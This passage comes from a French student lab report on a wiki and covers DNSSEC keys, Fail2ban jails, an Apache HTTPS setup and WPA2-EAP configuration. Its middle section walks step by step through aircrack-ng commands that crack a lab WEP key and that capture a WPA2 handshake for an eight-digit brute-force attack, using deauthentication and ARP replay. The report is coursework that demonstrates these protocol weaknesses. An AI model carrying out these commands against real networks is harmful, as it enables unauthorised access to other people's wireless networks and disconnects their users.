&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online :&lt;br /&gt;
[[Fichier:Dnssecrs7.png|centré|vignette|925x925px]]&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de la clé ===&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-EAP =&lt;br /&gt;
&lt;br /&gt;
== Objectif ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme&lt;br /&gt;
d’authentification WPA2-Enterprise (WPA2-EAP).  &lt;br /&gt;
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé&lt;br /&gt;
FreeRadius permettant une authentification individuelle des utilisateurs.&lt;br /&gt;
&lt;br /&gt;
L’infrastructure repose sur :&lt;br /&gt;
* un VLAN personnel dédié ;&lt;br /&gt;
* une redondance des routeurs via VRRP ;&lt;br /&gt;
* un serveur FreeRadius installé sur la machine virtuelle de services.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Accès aux équipements réseau ==&lt;br /&gt;
&lt;br /&gt;
La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\&lt;br /&gt;
diffie-hellman-group14-sha1,\&lt;br /&gt;
diffie-hellman-group1-sha1 \&lt;br /&gt;
-o HostKeyAlgorithms=ssh-rsa \&lt;br /&gt;
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\&lt;br /&gt;
aes128-ctr,aes192-ctr,aes256-ctr \&lt;br /&gt;
admin@172.27.0.2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Adressage des équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Equipement !! Adresse IP&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E304 || 172.27.0.1&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E306 || 172.27.0.2&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E306 || 172.27.0.3&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E304 || 172.27.0.4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Création du VLAN personnel ==&lt;br /&gt;
&lt;br /&gt;
Le VLAN personnel attribué est le VLAN '''18'''.&lt;br /&gt;
&lt;br /&gt;
=== Sur les deux routeurs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 18&lt;br /&gt;
 name VLAN_YASSINE&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration des interfaces VLAN ==&lt;br /&gt;
&lt;br /&gt;
=== Routeur principal (E304) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.2 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 110&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur secondaire (E306) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.3 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 100&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration DHCP ==&lt;br /&gt;
&lt;br /&gt;
Le serveur DHCP est réparti entre les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
=== Routeur E304 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-A&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.100 10.60.8.150&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur E306 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-B&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.151 10.60.8.200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Routage vers la machine mandataire (PBR) ==&lt;br /&gt;
&lt;br /&gt;
Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
access-list 101 permit ip 10.60.8.0 0.0.0.255 any&lt;br /&gt;
&lt;br /&gt;
route-map PBR-YASSINE permit 10&lt;br /&gt;
 match ip address 101&lt;br /&gt;
 set ip next-hop 192.168.7.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Application :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip policy route-map PBR-YASSINE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration du serveur FreeRadius ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine virtuelle de services (192.168.7.2) :&lt;br /&gt;
&lt;br /&gt;
Installation :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install freeradius freeradius-utils&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ajout du point d’accès WiFi :&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
